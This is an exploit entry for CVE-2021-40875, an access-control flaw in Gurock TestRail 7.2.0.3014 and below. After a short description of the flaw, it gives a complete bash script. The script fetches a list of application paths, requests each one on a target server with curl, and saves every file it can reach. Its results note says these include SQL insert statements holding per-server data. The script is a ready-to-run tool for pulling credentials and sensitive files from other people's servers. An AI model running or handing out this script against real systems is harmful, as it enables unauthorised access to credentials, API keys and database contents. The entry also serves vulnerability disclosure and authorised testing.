```
# Exploit Title: Gurock Testrail 7.2.0.3014 - 'files.md5' Improper Access Control
# Date: 22/09/2022
# Exploit Author: Sick Codes & JohnJHacking (Sakura Samuraii)
# Vendor Homepage: https://www.gurock.com/testrail/
# Version: 7.2.0.3014 and below
# Tested on: macOS, Linux, Windows
# CVE : CVE-2021-40875
# Reference: https://johnjhacking.com/blog/cve-2021-40875/

CVE-2021-40875: Improper Access Control in Gurock TestRail versions < 7.2.0.3014
resulted in sensitive information exposure. A threat actor can access the
/files.md5 file on the client side of a Gurock TestRail application, disclosing a
full list of application files and the corresponding file paths. The corresponding
file paths can be tested, and in some cases, result in the disclosure of hardcoded
credentials, API keys, or other sensitive data.

# Method 1

#!/bin/bash
```

```
# Author:       sickcodes & johnjhacking
# Contact:      https://twitter.com/sickcodes
# https://github.com/SakuraSamuraii/derailed
# Copyright:    sickcodes (C) 2021
# License:      GPLv3+

# stop null byte error while curling
shopt -s nullglob

! [ "${1}" ] && { echo "No target was specified. ./script.sh 'https://target/'" &&
exit 1 ; }

TARGET="${1}"

wget https://raw.githubusercontent.com/SakuraSamuraii/derailed/main/files.md5.txt

FILE_LIST="${PWD}/files.md5.txt"

mkdir -p ./output
cd ./output

touch ./accessible.log

# option to get a fresh updated files.md5, if it comes in a future version
# curl "${TARGET}/files.md5" > ./files.md5

while read -r HASH SUFFIX; do
    echo "${SUFFIX}"
    TESTING_URL="${TARGET}/${SUFFIX}"
    echo "========= ${TESTING_URL} ========="

    # Ignore list, some of these files MAY be world readable,
    # if the organisation has modified permissions related
    # to the below files otherwise, they are ignored.
    case "${SUFFIX}" in
        *'.php' ) continue
            ;;
        *'.html' ) continue
            ;;
        *'LICENSE' ) continue

            ;;
        *'README.md' ) continue
            ;;
        *'.js' ) continue
            ;;
        *'.svg' ) continue
            ;;
        *'.gif' ) continue
            ;;
        *'.png' ) continue
            ;;
        *'.css' ) continue
            ;;
        *'.exe' ) continue
            ;;
        # *'.add_your_own' ) continue
        #     ;;
    esac

    # peek at page response
    # doesn't work because gurock returns 200 and prints the error in plaintext
    # curl -s -I -X POST "${TESTING_URL}"

    # feth the page, following redirects, to a variable
    OUTPUT_DATA="$(curl -L -vvvv "${TESTING_URL}")"
    # find matching disqualifying pharses in the page contents
    # and pass any pages that are "denied access" or "direct script access"
    case "${OUTPUT_DATA}" in
        *'No direct script'* ) continue
            ;;
        *'Directory Listing Denied'* ) continue
            ;;
    esac

    # save all interesting pages, without forward slashes
    # https://www.target/
    # will be saved as:
    # https:::www.target <http://www.target>:
    tee "${SUFFIX//\//\:}" <<< "${OUTPUT_DATA}"

    # print to stdout, and also append to ./accessible.log the successful saves
    tee -a ./accessible.log <<< "${TESTING_URL}"

done < "${FILE_LIST}"

### Results
in your results folder you will have a few important files from the host, namely
the initial SQL database insert statements with specific unique information
pertaining to that server running Gurock Testrail 7.2.0.3014 and below
```